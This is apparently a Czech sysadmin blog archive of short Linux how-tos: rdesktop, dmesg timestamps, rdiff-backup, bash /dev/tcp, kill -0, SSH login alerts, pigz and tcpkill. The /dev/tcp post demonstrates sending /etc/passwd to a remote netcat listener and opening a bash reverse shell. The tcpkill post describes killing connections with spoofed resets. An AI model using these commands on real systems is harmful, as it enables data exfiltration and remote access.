Archiv pro rubriku: Mini-howto

Linux mini-howto: Rdesktop a neviditelný kurzor myši Windows 2012R2

Linux mini-howto?
Krátce o nástrojích ze života sysadmina.

Drobná nepříjemnost dokáže rozladit den, čas od času je potřeba připojit se Windows mašině, nainstalujete svůj oblíbený nástroj rdesktop , zadáte něco smyslu tohoto.

# rdesktop -k en-us <ip_address> -u Administrator -d domain -p password

S očekáváním popadnete do ruky myš a chcete začít zuřivě klikat, ale ouha co to, nematé kurzor myši, je neviditelný, občas někde problikne a opět zmizí. S Windows se dá pracovat bez myši, jde to, ale dře to, jsou ale i horší noční můry.

Lze to naštěstí “fixnout” vypnutím vykreslováním stínu u kurzoru myši (Control Panel → Hardware → Mouse → Pointers), viz obrázek.

Vypnutí vykreslování stínu pro kurzor myši
Vypnutí vykreslování stínu pro kurzor myši

Snadné.

Ještě přikládám odkaz jak řešit pomocí Group Policy, to už je lehce vyšší dívčí.

http://www.paperstreetonline.com/2015/04/09/server-2012-rdesktop-fix-disappearing-mouse-cursor-with-group-policy/

Díky za pozornost. František Havel, MOJEservery.cz.

Výstup dmesg pro lidi, dmesg-human-readable

Linux mini-howto?
Krátce o nástrojích ze života sysadmina.

Výstup dmesg pro lidi


Byl položen jednoduchý dotaz, jak udělat výpis dmesg čitelný pro lidi ? Co lidem vadí nejvíce na výstupu dmesg je nečitelnost času, “defaultně” je místo snadno čitelného formátu času vypisován tzv. timestamp a má to svůj důvod, výstup může vypadat např. takto.

Dmesg výstup s časem ve formátu timestamp.
Dmesg výstup s časem ve formátu timestamp.

Uznávám, že to může být komplikace, ale opět platí jak kdy, např. situace kdy je potřeba zjistit čas mezi událostí A a B je při reprezentaci času formátem timestamp snadno řešitelná, pouze odečtete dvě čísla a to je snadné.

Chci “normální” čas, né timestamp!

Nástroj dmesg je součástí balíku nástrojů util-linux (https://www.kernel.org/pub/linux/utils/util-linux/), kolem verze 2.20.x (rok ~ 2012) byla přidána volba pro dmesg -T (nebo –ctime), podívejme se na to.

# man dmesg
---
-T, --ctime
Print human readable timestamps. The timestamp could be inaccurate!
---

# root@www:~# apt-cache show util-linux | grep Version
Version: 2.20.1-5.3
# root@www:~# dmesg -T
Dmesg výstup s časem ve formátu pro lidi (human-readable).
Dmesg výstup s časem ve formátu pro lidi (human-readable).

Můj dmesg neumí “-T”

Zatím to bylo vcelku snadné, ale jsou situace kdy není magický parametr k dispozici, typicky na embedded zařízení, např. OpenWrt routery s busybox nebo prostě máte starší verzi util-linux, zde si pomůžeme jednoduchým bash scriptem, uložte si ho např. do /usr/local/bin/dmesgh a nastavte ho jako spustitelný (chmod +x dmesgh), nejsem autorem, publikuji tak jak je, mám ho už roky ke spokojenosti.

#!/bin/bash
# Translate dmesg timestamps to human readable format

# desired date format
date_format="%a %b %d %T %Y"

# uptime in seconds
uptime=$(cut -d " " -f 1 /proc/uptime)

# run only if timestamps are enabled
if [ "Y" = "$(cat /sys/module/printk/parameters/time)" ]; then
  dmesg | sed "s/^\[[ ]*\?\([0-9.]*\)\] \(.*\)/\\1 \\2/" | while read timestamp message; do
    printf "[%s] %s\n" "$(date --date "now - $uptime seconds + $timestamp seconds" +"${date_format}")" "$message"
  done
else
  echo "Timestamps are disabled (/sys/module/printk/parameters/time)"
fi

Výstup je stejný jako v předchozím případě, dokonce jak je vidět ze scriptu provádí kontrolu zda-li jsou ve výstupu jádra povoleny timestamp, je možné je zcela potlačit.

#man dmesg

Studujte manuály, užívejte moudře, díky za pozornost.
František Havel, MOJEservery.cz

Zálohování s rdiff-backup a rdiff-backup-fs FUSE filesystem.

Linux mini-howto?
Krátce o nástrojích ze života sysadmina.

Zálohování s rdiff-backup

Poslední dobou je na scéně kolem filesystémů pro Linux opět trochu život, upřímně chtěl bych stabilní filesystém s podporou snapshotování, co máme k dispozici? BTRFS není stable (netvrdím, že nedrží data, ale na produkci?, zatím stále ne), ZFS se mi líbí moc moc, prošel ohněm, je vyspělý, ale na produkci, když není v jádře a je to port ze Solarisu, kvůli kterému se musela napsat část “runtime” prostředí Solarisu, netvrdím, že to nejde, vpsFree.cz a Pavel Šnajdr dokazuje opak, ale pro komerční prostředí a support to není možné, respektive nepřistoupí na to.

Nově se nám na scéně ukazuje bcachefs, těžko cokoliv hádat, je to tak mladé (srpen 2015, https://lkml.org/lkml/2015/8/21/22) a slibuje to mnoho vlastností BTRFS a ZFS, nechme se překvapit. Ano pak tu máme LVM a snapshoty, ale LVM není filesystém a do dat o vrtstvu “vejš” nevidí, je moc fajn, ale né samospasitelné.

Nově se na scéně objevil (byl uvolněn) jaderný modul Datto Block Driver, modul přidává podporu pro snapshotování a inkrementální zálohování pro libovolné blokové zařízení (“přidává” COW, copy-on-write vlastnost trackováním write systémového volání, ze zdrojového kódu je vidět, že hookuje syscall table), aktuálně testuji, hraju si, čtu kód na workstation a samostatném disku, subjektivně je to dost rychlé.

Peleton nám uzavíra XFS filesystém, který používáme na produkci a na vše ostatní je tu EXT4, ani jeden z těchto filesystémů nepodporuje snapshoty.


rdiff-backup

Co používáme a proč? Chceme inkrementálně zálohovat data (ať už adresáře mezi sebou nebo přes síť), mít možnost jednoduše procházet zálohy a vracet se v čase, mazání starších záloh než XY, zrcadlový obraz původních dat, ACL, uchovávat pouze rozdíly, nenáročnost na přenosové pásmo, jednoduchost.

  • rdiff-backup
  • rdiff-backup-fs

Rdiff-backup je nástroj napsaný v Pythonu a splňuje naše potřeby, http://www.nongnu.org/rdiff-backup/features.html, uvnitř je postaven na knihovně librsync , existuje určitě bezpočet skvělých scriptů postavených nad rsync nástrojem a potulujích se po internetu, ale proč nepouží rdiff-backup přímo z repositáře.

Skvělou možnost přidáva právě rdiff-backup-fs, což je modul pro FUSE (Filesystem in Userspace), díky němu je možné připoji (mount) zálohy do adresářové struktury a získat tak přístup ke “snapshotům” dat v čase formou adresářů v mount složce s datumem a časem pořízení zálohy.

S takto udělaným backup se dá trochu čarovat a zpřístupnit zpětně uživateli jeho zálohy jako read-only, např. přes Sambu, NFS apod., přiznávám není to tak elegantní jako udělat na ZFS snapshot pool/test@mojezaloha a mít to vše včetně read-only.

Dnes to bude bez praktické ukázky, jednak nechci ukazovat data ze záloh na produkci ani osobní workstation a druhak je to velmi jednoduché.

rdiff-backup dir1 dir2
rdiff-backup dir1 user@system::/dir2

# nejnovější obnova
rdiff-backup -r now /backupdit/data1 /obnova/data1

# obnova stav před 5 dny
rdiff-backup -r 5D /backupdit/data1 /obnova/data1

# obnova stav k datu
rdiff-backup -r 2015-09-20 /backupdit/data1 /obnova/data1

# odstranění záloh starší než ...
rdiff-backup --remove-older-than 31D /backupdir/data1

# rdiff-backup-fs (FUSE), mount zálohy přes FUSE
# ---
rdiff-backup-fs /mnt /backupdir/data1
ls -la /mnt
umout /mnt

Pozn 1.: Pokud budete obnovovat data do stejné složky odkud probíhala záloha a pujde o přepis tak rdiff bude křičet, je nutné použít parametr –force.

Pozn 1.: K rdiff-backup-fs mount složce je nutné přistupovat jako root (dáno std FUSE technologií), pokud se to nehodí mrkněte do /etc/fuse.conf.

Rdiff-backup má jako většina nástrojů v unixech “hromadu” přepínačů, studujte man rdiff-backup.

A to je vše, užívejte moudře a zálohujte, díky za pozornost.

František Havel, MOJEservery.cz

Linux mini-howto: Bash /dev/tcp a sokety.

Linux mini-howto?
Krátce o nástrojích ze života sysadmina.

Bash a sokety, /dev/tcp

Věděli jste, že bash obsahuje build-in (vestavěné) BSD socket rozhraní dostupné skrze /dev/tcp? Pseudo zařízení slouží v bashi pro přímou interakci s TCP socketem.

Syntax /dev/tcp s /dev/udp

  • /dev/tcp/<host>/<port>
  • /dev/udp/<host>/<port>

Malá ukázka práce s /dev/tcp.

havel@havel-machine:~$ exec 5<>/dev/tcp/havel.mojeservery.cz/80
havel@havel-machine:~$ echo -e "GET / HTTP/1.0\n" >&5
havel@havel-machine:~$ cat <&5 | head -n 10
HTTP/1.1 200 OK
Server: nginx/1.2.1
Date: Tue, 01 Sep 2015 14:41:44 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/5.4.41-0+deb7u1
Vary: Accept-Encoding, Cookie
Cache-Control: max-age=3, must-revalidate
WP-Super-Cache: Served supercache file from PHP
havel@havel-machine:~$ cat </dev/tcp/time.nist.gov/13
57266 15-09-01 14:37:16 50 0 0 816.9 UTC(NIST) * 

Něco více divokého s /dev/tcp

# Na své stroji si rozjeďte netcat
root@www:/root# nc -l -p 8888

# Pošlete si co potřebujete k sobě
havel@havel-machine:~$ cat /etc/passwd > /dev/tcp/havel.mojeservery.cz/8888

# Reverse shell
# Na své stroji si rozjeďte netcat root@www:/root# nc -l -p 8888

havel@havel-machine:~$ bash -i >& /dev/tcp/havel.mojeservery.cz/8888 0>&1

# havel@havel-machine:~$ pwd
pwd
/home/havel

Pozn.: bash je nutné zkomplikovat s volbou (--enable-net-redirections).

Užívejte moudře a opatrně, díky za pozornost.

František Havel, MOJEservery.cz

Linux mini-howto: Monitoring procesů nástrojem kill!!!

Linux mini-howto?
Krátce o nástrojích ze života sysadmina.

Monitoring procesů s kill

havel@havel-machine:~$ kill -0

Tajné, pssst!

Nedokumentovaná (man kill) část nástroje kill, kill -0. Zcela dle neočekávání kill -0 nezabije proces, ani ho jinak neovlivní, vrací exitcode 0 pokud proces běží a akceptuje signály a naopak pokud neběží  vrací 1.

havel@havel-machine:~$ echo $$
10231
havel@havel-machine:~$ /bin/bash
havel@havel-machine:~$ echo $$
12023
havel@havel-machine:~$ kill -0 12023
havel@havel-machine:~$ echo $?
0
havel@havel-machine:~$ exit
havel@havel-machine:~$ kill -0 12023
kill: kill 12023 failed: no such process
havel@havel-machine:~$ echo $?
1

Seznam dostupných signálů, 0 zde není. kill-monitoring-siglist

K čemu je to dobré? Napadá mě, využití např. jednoduché hlídání procesů (démonů) z /var/run/xyz.pid ( #kill -0 $(cat /var/run/crond.pid) ), určitě existují jiná i lepší řešení (a nevím zda-li parsování ps je ono nebo průchod /proc/<pid>), ale jak už někdo poznamenal, proč, protože můžem.

Užívejte moudře a opatrně, díky za pozornost.

František Havel, MOJEservery.cz

Linux mini-howto: SSH login notifikace emailem

Linux mini-howto?
Krátce o nástrojích ze života sysadmina.

SSH login notifikace emailem

Krátké a jednoduché, chcete info(oznámení) do emailu po přihlášení uživatele na SSH server? Jednoduchý script ukazuje jak na to, nejde o náhradu za komplexní systémy s logování na centrání vzdálený server, ale pro malé použití a případně další čarování s sshrc se může hodit.

Kde spouštět SSHrc script?

  • ~./ssh/rc – lokální konkrétní uživatel
  • /etc/ssh/sshrc – globálně pro všechny uživatele

SSHrc script

Napsán pro Vás jednoduchý ukázkový script v bashi, použijte ho, upravujte dle potřeby.

mail=alertemail@mojeservery.cz
user=/usr/bin/whoami
ip=/usr/bin/last | head -1 | awk '{print $3}'
#read -d " " ip <<< $SSH_CONNECTION
date=$(date "+%d.%m.%Y %Hh%M")
reverseIP=$(dig -x $ip +short)
hostname=$(hostname)

mail -s "SSH Login: $USER@$hostname" $mail <<EOF
From: root@$hostname
User: $USER
Host: $hostname
From IP: $ip
Reverse: $reverseIP
Date: $date
EOF

A to je vše! (! script opravdu není uvozen #!/bin/bash )

Na serveru musí být v provozu mail subsystém, alespoň jako stmp relay, tak aby email mohl odejít, navíc může být zpracování sshrc potlačeno konfigurací (ForceCommand, ssh -N apod.).

Užívejte moudře, mějte přehled o přístupech na Váš SSH server.

Díky za pozornost. František Havel, MOJEservery.cz

Linux mini-howto: Pigz, paralelní gzip implementace, komprimujte rychleji!

Linux mini-howto?
Krátce o nástrojích ze života sysadmina.

Pigz, unpigz , paralelní gzip implementace

Proč ? V dnešní době je téměř nemožné koupit procesor s jedním jádrem, výrobci tak obcházejí problém rychlejších procesorů (výšší frekvence) díky možnosti umístění více jader do jednoho fyzického  pouzdra a přenesení problému do oblasti software.

Paralelní výpočty rozdělují složitější úlohu na vícero jednoduchých,
ty jsou často vykonávány ve vláknech, které běží škálovatelně přes
jádra procesoru.

Paralelní programování je považováno za obtížnější formu vývoje
software, nese sebou celou řadu problému, zamykání, souběh, vyloučení, paralelní zpomalení, synchronizace atd, přesto jde o klíčovou oblast zejména pro řešení simulací, potřebujeme znát odpovědi na otázky které jsou analyticky neřešitelné (např. teoretická a experimentální fyzika)

K čemu to používáme? Zpátky na zem, smrtelník a sysadmin v našem případě nasadil pigz jako rychlou náhradu za klasický gzip pro komprimaci záloh databáze MySQL, zálohuje s v noci, komprimuje se v noci a jak praví klasik čas jsou peníze.

Instalace pigz

root@havel-machine:~# apt-get install pigz

Malá ukázka, vzorová data SQL dump 868MB , komprimace provedena nad stejnou db vždy metodou fast (-1, nejrychlejší) a best (-9, nejúčinější).

 FAST  BEST
 pigz (čas)  12.1s (cpu 392%)  16.5s (cpu 396%)
 gzip (čas)  44.6s (cpu 100%)  58s (cpu 100%)

Testováno na AMD A6-3670, 4GB RAM, disk SATA 7200rpm.

Jednoduchý benchmark ukazuje rychlejší zpracování dat za použití paralelní implementace gzip a to v obou případech, rozdíly jsou na první pohled signifikantní. Jak je patrné paralelní komprimace dává smysl a dokáže významně zkrátit časy v celém zálohovacích procesu a nárůstem počtu jader zkracujete čas, navíc je možné omezit pigz na konkrétní počet jader (např. 6 jader z 8).

http://zlib.net/pigz

http://linux.die.net/man/1/pigz

Užívejte moudře, díky za pozornost. František Havel, MOJEservery.cz


Bojujete se zálohování? Nabízíme pomoc.

Nabízíme firemní i osobní zálohovací systémy, onsite i offsite zálohování, replikační systémy, katalogové zálohování, komprimace, deduplikace, verzování záloh, synchronizace lokalit, ochrana záloh, reporting a zcela bezplatně konsultaci a poradentství.

Kontaktujte nás, najdeme nejlepší řešení za skvělou cenu.

MOJEservery.cz

Linux mini-howto: Jak zabít TCP spojení s nástrojem tcpkill

Linux mini-howto?
Krátce o nástrojích ze života sysadmina.

Nástroj tcpkill

Přijde čas od času k duhu, vytvořit TCP spojení je snadné a umí to každý, ale co dělat pokud chceme konkrétní spojení zabít? Trochu Nerudovská otázka: „Kam s ní“, že? Na procesy máme kill, ale co s tcp, navazané je, firewall jsem opravili a teď ho ukončeme.

Tak jednoduché to zas není, k uzavření socketu je potřeba  znát TCP ACK(Acknowlegment) a SEQ(Sequence numbers), je nutné tyto informace extrahovat z paketu spojení (odposlechnout, spoof) a zaslat TCP RST(reset).

Nástroj tcpkill funguje přesně popsaným mechanismem, syntax je shodný s nástrojem tcpdump, autorem tcpkill je Dug Song.

# tcpkill -i eth0 { expression }
# tcpkill -i eth0 port 21 // zabije odchozí spojení na port 21(FTP)
# tcpkill host 192.168.1.42 // zabije odchozí spojení na host 192.168.1.42

Hotovo!

Vypadá to jednoduše, popsaný mechanismus ukončení tcp spojení (tzv. passive, pasivní) má jeden drobný neduh, v případě tcp spojení ve stavu idle(wait, keepalive) není co ochytit (nejsou data, není co spoofovat), takové spojení se Vám tímto nástrojem nepodaří zabít.

Příště se podíváme na nástroje killcx, cutter a bude-li čas i low-level hack s netstat,lsof a kill.

Užívejte moudře, díky za pozornost. František Havel.